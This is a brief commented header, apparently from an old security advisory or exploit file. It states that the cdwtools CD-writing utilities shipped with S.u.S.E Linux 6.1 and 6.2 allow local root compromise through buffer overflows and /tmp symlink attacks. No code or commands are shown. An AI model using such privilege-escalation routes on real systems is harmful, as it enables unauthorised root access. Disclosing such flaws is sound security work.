#
#cdwtools is a package of utilities for cd-writing. The linux version of these utilities, which ships with S.u.S.E linux 6.1 and 6.2, is vulnerable to several local root #compromises. It is known that there are a number of ways to exploit these packages, including buffer overflows and /tmp symlink attacks.
